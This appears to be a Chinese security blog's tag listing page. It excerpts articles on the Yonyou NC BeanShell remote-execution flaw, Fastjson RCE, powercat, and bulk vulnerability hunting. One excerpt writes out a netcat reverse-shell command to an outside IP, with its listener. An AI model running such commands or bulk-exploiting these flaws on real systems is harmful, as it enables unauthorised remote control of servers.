长按二维码关注腾讯安全威胁情报中心一、概述腾讯安全在对企业客户进行日常安全巡检中发现，有多个攻击者在不同场景利用用友NC bsh.servlet.BshServlet 远程命令执行漏洞（CNVD-20...
11月06日871 views评论nc
漏洞
用友NC新漏洞（2021年6月）攻击云主机在野活动，防火墙“虚拟补丁”完美拦截
11月06日871 views评论nc
漏洞
11月06日871 views评论nc
漏洞
漏洞风险提示 | 用友 NC 远程代码执行漏洞
X友 NC 远程命令执行
X友 NC 远程命令执行一、漏洞简介用友NC是一款企业级管理软件，在大中型企业广泛使用。实现建模、开发、继承、运行、管理一体化的IT解决方案信息化平台。用友NC存在反序列化漏洞，攻击者通过构造特定的H...
10月12日135 views评论servlet
漏洞
用友 NC bsh.servlet.BshServlet 远程命令执行漏洞
一：漏洞描述🐑用友 NC bsh.servlet.BshServlet 存在远程命令执行漏洞，通过BeanShell 执行远程命令获取服务器权限二: 漏洞影响🐇用友 NC 三: ...
10月03日212 views评论servlet
漏洞
内网学习笔记 | 8、powercat 的使用
1、下载安装 powercatpowercat 可以视为 nc 的 powershell 版本，因此也可以和 nc 进行连接。powercat 可在 github 进行下载，项目地址为：https:/...
10月01日125 views评论nc
导入
技术分享 | Fastjson-RCE漏洞复现
Fastjson提供autotype功能，允许用户在反序列化数据中通过 @type 指定反序列化的类型，其次Fastjson自定义的反序列化会调用指定类中的setter方法和部分g...
09月17日193 views评论fastjson
序列化
浅谈src漏洞的批量挖掘
前言本篇博文只谈漏洞的利用和批量挖掘。在接触src之前，我和很多师傅都有同一个疑问，就是那些大师傅是怎么批量挖洞的？摸滚打爬了两个月之后，我渐渐有了点自己的理解和经验，所以打算分享出来和各位师傅交流，...
09月11日133 views评论nc
漏洞
CNVD-2021-30167：用友NC BeanShell RCE复现
上方蓝色字体关注我们，一起学安全！作者：蚂蚁@Timeline Sec本文字数：361阅读时长：2～3min声明：请勿用作违法用途，否则后果自负0x01 简介用友NC是面向集团企业的管理软件，其在同类...
08月02日261 views评论cnvd
rce
Linux下反弹的10种方法
方法1.SHELL执行： nc 192.168.1.133 8080 -e /bin/bash监听执行 ：nc -n -vv -l -p 8080方法2：SHELL执行：mknod backpipe...
07月27日安全闲碎59 views评论backpipe
nc
Go开源-批量验证用友NC命令执行漏洞工具
在t00ls上看到一篇名为《 goland for 用友NC命令执行的代码》的文章。看到没有批量的功能，手痒，加了一下。首先使用fofa工具批量获取资产icon_hash="1085941792"直接...
07月25日141 views评论http
批量
内网端口转发工具
一、NC反弹 NC反弹我们通常用来反弹获取shell，其实也可以转发端口。 测试： 本机：win7 IP：192.168.245.128 远程主机：xp IP：192.168.245.13...
07月11日74 views评论ip
未分类
【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现
0x01 简介该漏洞是由于用友NC对外开放了BeanShell接口，攻击者可以在未授权的情况下直接访问该接口，并构造恶意数据执行任意代码并获取服务器权限。0x02 影响版本NC6.5版本0x03 漏洞...
06月04日905 views评论poc
漏洞
11